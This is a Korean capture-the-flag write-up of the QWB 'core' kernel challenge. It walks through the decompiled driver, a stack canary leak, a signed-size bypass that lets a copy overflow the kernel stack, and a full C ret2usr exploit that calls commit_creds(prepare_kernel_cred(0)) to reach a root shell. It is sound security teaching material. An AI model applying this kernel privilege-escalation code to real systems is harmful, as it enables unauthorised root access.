Return To User )
Contents
Setting
Analysis
PoC / Exploit scenario
Debugging
Exploit
Shell
Reference
Setting
Linux kernel UAF ( babydriver write-up )에서 진행한 환경설정과 거의 유사하다.
다만 이번 문제는 환경설정하기가 좀 친절하게 잘되어있다.
core_give.tar.gz
이라는 파일 하나를 주는데, 요걸 해제하면 give_to_player
디 렉토리가 생긴다.
그리고 아래와 같은 파일들을 준다.
bzImage
- 커널 이미지core.cpio
- 파일시스템start.sh
-qemu
부팅용 쉘스크립트vmlinux
- 디버깅용 심볼
필요한건 다 있고, 취약점을 찾을 커널 모듈만 찾으면 되는데, 파일시스템 압축을 풀어주면 된다.
나는 binwalk -e core.cpio
해서 나온 파일을 다시 binwalk -e
로 압축을 풀어줬다.
그러면 파일 시스템이 풀리고, 추가로 gen_cpio.sh
를 준다.
# gen_cpio.sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
보아하니 첫번째 인자를 넘겨주면 그 파일을 포함해서 다시 cpio
파일을 만들어주는 듯 하다.
익스코드짜고 편하게 익스할 수 있을 듯 하다.
qemu
를 시작해서 부팅하려면 ./start.sh
를 입력해서 start.sh
를 실행하면 된다.
# start.sh
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
보호기법은 quiet kaslr
를 보아 kaslr
만 활성화 되어있는듯 하다.
만약 start.sh
를 실행해서 부팅이 안되면, -m 64M
를 -m 256M
으로 바꿔보자.
메모리 할당을 더해주면 부팅이 수월할 수 있다.
또한, 커널 디버깅을 위해 -s
옵션을 줄껀데, 파일 시스템이 로드된 후에 gdb
가 설치되므로 -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
아래부분에 -s
옵션을 주어야 오류가 나지 않는다.
Analysis
init_module()
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE); // core create /proc/core entry
return 0LL;
}
지금까지 풀었던 문제들은 드라이버를 /dev
에 만들었지만, 이번 문제는 /proc
에 생성한다.
원래 create_proc_entry
라는 함수가 주로 사용되었지만, 이 함수가 삭제되었고 proc_create
라는 함수가 만들어져 이 함수를 사용하면 /proc
디렉토리에 파일을 만들 수 있다.
모듈 이름이 init_module
인것을 보아 이 함수는 모듈이 실행될 때 실행되는 함수이며, /proc
디렉토리에 드라이버를 생성하는 함수임을 알 수 있다.
exit_core()
__int64 exit_core()
{
__int64 result; // rax
if ( core_proc )
result = remove_proc_entry("core");
return result;
}
모듈이 종료될 때 실행되는 함수이며, /proc
에 생성된 /proc/core
를 제거시키는 함수이다.
core_ioctl()
__int64 __fastcall core_ioctl(__int64 fd, int command, __int64 buf)
{
__int64 offset; // rbx
offset = buf;
switch ( command )
{
case 0x6677889B:
core_read(buf);
break;
case 0x6677889C:
printk(&unk_2CD); // printk("core : ", core);
off = offset;
break;
case 0x6677889A:
printk(&unk_2B3); // core called | core copy
core_copy_func(offset);
break;
}
return 0LL;
}
user space
에서 3가지의 command
를 통하여 모듈 내의 원하는 함수를 실행할 수 있다.
core_read()
unsigned __int64 __fastcall core_read(__int64 buf)
{
__int64 v1; // rbx
__int64 *v2; // rdi
signed __int64 i; // rcx
unsigned __int64 result; // rax
__int64 v5; // [rsp+0h] [rbp-50h]
unsigned __int64 canary; // [rsp+40h] [rbp-10h]
v1 = buf;
canary = __readgsqword(0x28u);
printk(&unk_25B); // core called | core read
printk(&unk_275); // %d %p
v2 = &v5;
for ( i = 16LL; i; --i )
{
*v2 = 0;
v2 = (v2 + 4);
}
strcpy(&v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(v1, &v5 + off, 64LL);
if ( !result )
return __readgsqword(0x28u) ^ canary;
__asm { swapgs }
return result;
}
for
문을 돌며 버퍼를 NULL
로 초기화 시켜준다.
그리고 buf
에 Welcome to the QWB CTF challenge.
라는 문자열을 넣는다.
copy_to_user
에서는 buf + off
의 주소부터 user_space
로 복사해온다.
마지막으로 inline asm
으로 swapgs
해주는데, 이는 MSR_GS_BASE
레지스터의 값을 MSR
의 KernelGSbase(C0000102H)
값과 교환하는 명령어이다.
이 명령을 왜 사용하는지 계속 찾아보았는데, General Protection Fault
에러를 막기 위해서 사용하는 듯 하다.
이 에러는 커널이나 사용자 프로그램에서 실행되는 코드에 의해서 발생하는데, 엑세스 위반에 의해서 발생한다고 한다.
액세스 위반에 대해서 자세히 말하면 아래와 같은 두가지 이유가 있다.
아래 코드는
/linux/v4.4/source/arch/x86/entry/entry_64.S#L919
에서 가져왔다.
/*
* Hypervisor uses this for application faults while it executes.
* We get here for two reasons:
* 1. Fault while reloading DS, ES, FS or GS
* 2. Fault while executing IRET
* Category 1 we do not need to fix up as Xen has already reloaded all segment
* registers that could be reloaded and zeroed the others.
* Category 2 we fix up by killing the current process. We cannot use the
* normal Linux return path in this case because if we use the IRET hypercall
* to pop the stack frame we end up in an infinite loop of failsafe callbacks.
* We distinguish between categories by comparing each saved segment register
* with its current contents: any discrepancy means we in category 1.
*/
DS
,ES
,FS
,GS
를 다시 로드하는중 오류가 발생하였다.IRET
실행중 오류가 발생하였다.
GS register와 swapgs에 관한 자세한 정보에 대해서는 아래 Reference를 참조하자.
즉 core_read
함수에서 kernel space
와 user space
간의 데이터 전달 과정에서 GS
레지스터를 로드하는 중 오류가 발생하고, 이를 해결하기 위해서 swapgs
어셈블리 명령을 추가하였음을 추측할 수 있다.
core_write()
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
v3 = a3;
printk(&unk_215); // core called | core writend
if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
return v3;
printk(&unk_230); // core error copying data from user space
return 0xFFFFFFF2LL;
}
모듈의 전역변수 name
에 데이터를 쓰는 함수이다.
PoC / Exploit scenario
일단 core_read
함수를 실행시키는 코드를 작성해보자.
int main(void)
{
int fd = open("/proc/core",O_RDWR);
if(fd == NULL)
{
printf("[-] Open /proc/core error!\n");
exit(1);
}
printf("[+] Open /proc/core!\n");
char buf[0x100];
ioctl(fd,CORE_READ,buf);
printf("[+] buf : %s\n",buf);
return 0;
}
/ $ ./solve
[+] Open /proc/core!
[+] buf : Welcome to the QWB CTF challenge.
기능이 잘 작동하는것을 확인할 수 있다.
어쨌든 기능도 잘 작동하겠다, 대충 익스플로잇 계획을 한번 짜보자.
일단 항상 그러했듯이 우린 commit_cred(prepare_kernel_cred(0))
를 실행시켜야 한다.
전에 익스했던 문제처럼 힙에서 발생하는 취약점도 없어보인다.
그래서 일단 오버플로우 여부를 확인하려고 한다.
core_read
함수는 단순히 읽기만 해주는 함수이고, core_write
는 단순히 name
지역변수에 쓰기만 해주는 함수이다.
따라서 취약점이 발생할만한 벡터는 core_copy_func
뿐이다.
signed __int64 __fastcall core_copy_func(signed __int64 offset)
{
signed __int64 result; // rax
__int64 user_buf; // [rsp+0h] [rbp-50h]
unsigned __int64 canary; // [rsp+40h] [rbp-10h]
canary = __readgsqword(0x28u);
printk(&unk_215); // core called | core writen
if ( offset > 63 )
{
printk(&unk_2A1); // Detect Overflow
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(&user_buf, &name, (unsigned __int16)offset);
}
return result;
}
if
문으로 offset
의 사이즈를 검사해서 오버플로우를 막는것 처럼 보인다.
하지만 signed __int64
으로 offset
을 가져온다.
따라서 0xf000000000000000
와 같은 값을 넘기면 integer overflow
가 발생한다.
즉, qmemcpy
를 실행 할 수 있다.
마지막으로, qmemcpy
할때 unsigned __int16
자료형을 사용한다.
즉, 오버플로우를 내서 RIP
를 변조시킬 수 있다.
이제 카나리만 쓱쓱 읽으면 된다.
읽어서 출력해주는 함수는 core_read
밖에 없다.
여기서 copy_to_user(user_space, &buf_address + off, 0x40LL);
할 때 off
를 더하는 것을 볼 수 있다.
그리고 우리는 core_ioctl
을 통하여 off
를 설정할 수 있다.
그럼 buf_address
위쪽의 버퍼도 출력할 수 있다.
즉, canary leak
이 가능해진다.
buf_address; // [rsp+0h] [rbp-50h]
이고..
unsigned __int64 canary; // [rsp+40h] [rbp-10h]
이므로 offset
을 0x10
으로 주고, 카나리와 거리 계산을 하면 된다.
int main(void)
{
int fd = open("/proc/core",O_RDWR);
if(fd == NULL)
{
printf("[-] Open /proc/core error!\n");
exit(1);
}
printf("[+] Open /proc/core!\n");
char buf[0x100];
char canary[0x8];
ioctl(fd,CORE_OFFSET,0x10);
ioctl(fd,CORE_READ,buf);
memcpy(canary,buf+0x30,8);
printf("[+] canary leak finish!\n");
printf("[+] canary is : ");
for(int i = 0;i < 8;i++)
printf("%02x ",canary[i] & 0xff);
printf("\n");
return 0;
}
코드를 돌려보자!
/ $ ./solve
[+] Open /proc/core!
[+] canary leak finish!
[+] canary is : 00 cc ed a1 31 9c 56 35
카나리같이 생긴게 나오긴 했다.
커널 디버깅을 통해 이친구가 진짜 카나리가 맞는지 확인해보겠다.
gdb-peda$ i r rax
rax 0x35569c31a1edcc00 0x35569c31a1edcc00
값이 똑같은것을 확인할 수 있다.
디버깅 과정은 아래 Debugging에서 확인하자!
이제 /tmp/kallsyms
를 (원래 /proc
에 있는데 여기는 /tmp
에 있다.) 읽어 preare_kernel_cred
와 commit_creds
함수의 주소를 가져오면 된다.
unsigned long get_symbols(char *str)
{
FILE *stream;
char fbuf[256];
char addr[32];
stream = fopen("/tmp/kallsyms","r");
if(stream < 0)
{
printf("failed to open /proc/kallsyms\n");
return 0;
}
memset(fbuf,0x00,sizeof(fbuf));
while(fgets(fbuf,256,stream) != NULL)
{
char *p = fbuf;
char *a = addr;
if(strlen(fbuf) == 0)
continue;
memset(addr,0x00,sizeof(addr));
fbuf[strlen(fbuf)-1] = '\0';
while(*p != ' ')
*a++ = *p++;
p += 3;
if(!strcmp(p,str))
return strtoul(addr, NULL, 16);
}
}
str
을 인자로 넘기면 해당 함수의 주소를 반환해주는 코드를 가져왔다.
이제 ROP
도 가능하고 canary
도 구했고 마지막 하나만 남았다.
그건 바로 trap frame
을 구성하는 일이다.
우리는 지금 커널에서 디바이스에 직접 접근하여 커널 영역을 사용함을 생각하자.
User-space에서 Kernel-space로 이동하게 되면 사용하게 되는 stack pointer들이 달라지며, Kernel-space에서 User-space로 이동 할 경우에도 stack pointer에 대한 복원이 필요하다.
프레임을 복원하지 않으면 ROP
를 해도 kernelland
에서 userland
로 이동할때 stack pointer
가 변경되면서 segmentation fault
가 발생할것이다.
스택 프레임은 아래와 같은 layout
을 가지고 있다.
EIP | RIP |
---|---|
CS | CS |
EFLAGS | EFLAGS |
ESP | RSP |
SS | SS |
위의 표처럼 사이즈에 맞게 구조체를 선언해준다.
struct trapframe
{
void *user_rip ; // instruction pointer
uint64_t user_cs ; // code segment
uint64_t user_rflags ; // CPU flags
void *user_rsp ; // stack pointer
uint64_t user_ss ; // stack segment
} tf;
이제, 어셈블리 코드를 이용하여 stack layout에 필요한 레지스터의 값을 tf구조체에 저장하는 함수를 구현한다.
void shell()
{
printf("[+] Get shell.\n");
system("/bin/sh");
}
void root()
{
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov %%rsp, %0;"
"iretq;"
: : "r" (&tf));
}
void set_trapframe()
{
asm("mov tf+8, cs;"
"pushf; pop tf+16;"
"mov tf+24, rsp;"
"mov tf+32, ss;"
);
tf.user_rip = &shell ;
printf("[+] Finish made trap frame.\n");
}
Debugging
익스플로잇에 앞서, 디버깅 과정을 설명해보겠다.
디버깅에 필요한 준비물은 아래와 같다.
부팅 쉘 스크립트에
-s
옵션 붙히기vmlinux
파일 구해두기 (문제에서는 주어짐)터미널 하나 더띄워두기
파일 시스템 안에 있는
init
파일 수정하기.text
의 주소를 구하기 위함
다른건 다른 글에서도 설명했으니 마지막 init
파일 수정 부분을 다뤄보겠다.
juntae@ubuntu:~/kernel/core/give_to_player/file_system$ ls -al init
-rwxrwxr-x 1 juntae juntae 625 Oct 27 08:39 init
이 파일은 쉘스크립트다.
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
setsid /bin/cttyhack setuidgid 1000 /bin/sh
요기 부분에서 1000
을 0
으로 바꾼다.
그럼 root
로 부팅할 수 있다.
또한, 자동 종료 시간을 설정해주는 poweroff
부분을 대충 3000정도 넣어준다.
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 3000 -f &
setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
이렇게 설정해두고 부팅하자.
/ # id
uid=0(root) gid=0(root) groups=0(root)
보다싶이 루트쉘이다.
이제 /sys/module/core/sections
로 이동한다.
/sys/module/core/sections # ls -al
total 0
drwxr-xr-x 2 root root 0 Oct 27 16:49 .
drwxr-xr-x 5 root root 0 Oct 27 16:49 ..
-r-------- 1 root root 4096 Oct 27 16:50 .bss
-r-------- 1 root root 4096 Oct 27 16:50 .data
-r-------- 1 root root 4096 Oct 27 16:50 .exit.text
-r-------- 1 root root 4096 Oct 27 16:50 .gnu.linkonce.this_module
-r-------- 1 root root 4096 Oct 27 16:50 .init.text
-r-------- 1 root root 4096 Oct 27 16:50 .note.gnu.build-id
-r-------- 1 root root 4096 Oct 27 16:50 .orc_unwind
-r-------- 1 root root 4096 Oct 27 16:50 .orc_unwind_ip
-r-------- 1 root root 4096 Oct 27 16:50 .rodata.str1.1
-r-------- 1 root root 4096 Oct 27 16:50 .strtab
-r-------- 1 root root 4096 Oct 27 16:50 .symtab
-r-------- 1 root root 4096 Oct 27 16:50 .text
그리고 .text
파일을 읽는다.
해당 부분이 코드 영역의 심볼을 전부 담고있기 때문에 이를 통해서 디버깅 할 수 있다.
또한, 이 파일이 root
권한이기때문에 root
쉘로 부팅한 것이다.
/sys/module/core/sections # cat .text
0xffffffffc02ef000
이제 이렇게 얻은 주소를 이용하여 디버깅을 하면 된다.
일단 터미널을 하나 더 열고 gdb vmlinux
를 해서 vmlinux
를 인자로 gdb
를 실행한다.
그리고 add-symbol-file <module_path> <base_address>
를 입력한다.
나는 add-symbol-file /home/juntae/kernel/core/give_to_player/file_system/core.ko 0xffffffffc02ef000
를 입력하였다.
그리고, target remote:1234
를 입력한다.
이러면 커널에 디버거를 붙힌 상태가 되어 continue
명령을 입력하기 전까지 어떠한 명령어도 입력할 수 없다.
gdb-peda$ target remote:1234
Remote debugging using :1234
Warning: not running or target is remote
0xffffffff9fe6e7d2 in ?? ()
gdb-peda$ b*core_read
Breakpoint 1 at 0xffffffffc02ef063
gdb-peda$ c
Continuing.
이제 원하는 함수에 break point
를 걸고 디버깅을 하면 된다.
Exploit
unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
struct trap_frame
{
void *user_rip; // instruction pointer
uint64_t user_cs; // code segment
uint64_t user_rflags; // CPU flags
void *user_rsp; // stack pointer
uint64_t user_ss; // stack segment
} __attribute__((packed));
struct trap_frame tf;
void shell()
{
printf("[+] Get shell.\n");
execl("/bin/sh","sh",NULL);
}
void set_trapframe()
{
asm("mov tf+8, cs;"
"pushf; pop tf+16;"
"mov tf+24, rsp;"
"mov tf+32, ss;"
);
tf.user_rip = &shell;
printf("[+] Finish made trap frame.\n");
}
void root()
{
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov %%rsp, %0;"
"iretq;"
: : "r" (&tf));
}
unsigned long get_symbols(const char *str)
{
FILE *stream;
char fbuf[256];
char addr[32];
stream = fopen("/tmp/kallsyms","r");
if(stream < 0)
{
printf("[-] Failed to open /proc/kallsyms\n");
exit(1);
}
memset(fbuf,0x00,sizeof(fbuf));
while(fgets(fbuf,256,stream) != NULL)
{
char *p = fbuf;
char *a = addr;
if(strlen(fbuf) == 0)
continue;
memset(addr,0x00,sizeof(addr));
fbuf[strlen(fbuf)-1] = '\0';
while(*p != ' ')
*a++ = *p++;
p += 3;
if(!strcmp(p,str))
return strtoul(addr, NULL, 16);
}
}
int main(void)
{
int fd = open("/proc/core",O_RDWR);
if(fd == NULL)
{
printf("[-] Failed to open /proc/core error!\n");
exit(1);
}
printf("[+] Open /proc/core!\n");
char buf[0x100];
char canary[0x8];
ioctl(fd,CORE_OFFSET,0x10);
ioctl(fd,CORE_READ,buf);
memcpy(canary,buf+0x30,8);
printf("[+] canary : ");
for(int i = 0;i < 8;i++)
printf("%02x ",canary[i] & 0xff);
printf("\n");
commit_creds = get_symbols("commit_creds");
prepare_kernel_cred = get_symbols("prepare_kernel_cred");
printf("[+] commit_creds : 0x%lx\n",commit_creds);
printf("[+] prepare_kernel_cred : 0x%lx\n",prepare_kernel_cred);
char rop[0x100];
memset(rop,"A",0x40);
memcpy(rop+0x40,canary,8);
memset(rop+0x48,"A",8);
*(void**)(rop+0x50) = &root;
memset(rop+0x58,"A",8);
set_trapframe();
write(fd,rop,0x58);
ioctl(fd,CORE_COPY, 0xffffffffffff0000 | sizeof(rop));
return 0;
}
root
함수에서 swapgs
명령을 사용한 이유는 위에서 설명한 내용과 같다.
익스코드는 위 시나리오를 바탕으로 작성했다.
https://kernel.bz/blogPost/kernel_gcc_attr
위 링크는 __attribute__((regparm(3))) 에 대한 설명이다.
Shell
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ ./solve
[+] Open /proc/core!
[+] canary : 00 c8 a4 c5 be 1a cb f1
[+] commit_creds : 0xffffffff8369c8e0
[+] prepare_kernel_cred : 0xffffffff8369cce0
[+] Finish made trap frame.
[+] Get shell.
/ # id
uid=0(root) gid=0(root)
모든 과정이 정상적으로 이루어져 루트쉘을 획득하였다.
Reference
https://www.lazenca.net/pages/viewpage.action?pageId=25624857
https://www.lazenca.net/pages/viewpage.action?pageId=25624684
http://www.iamroot.org/xe/index.php?mid=Kernel&document_srl=16560
http://www.iamroot.org/xe/index.php?mid=Kernel&document_srl=16560
https://github.com/w0lfzhang/kernel_exploit/blob/master/2018-qwb-core/exp.c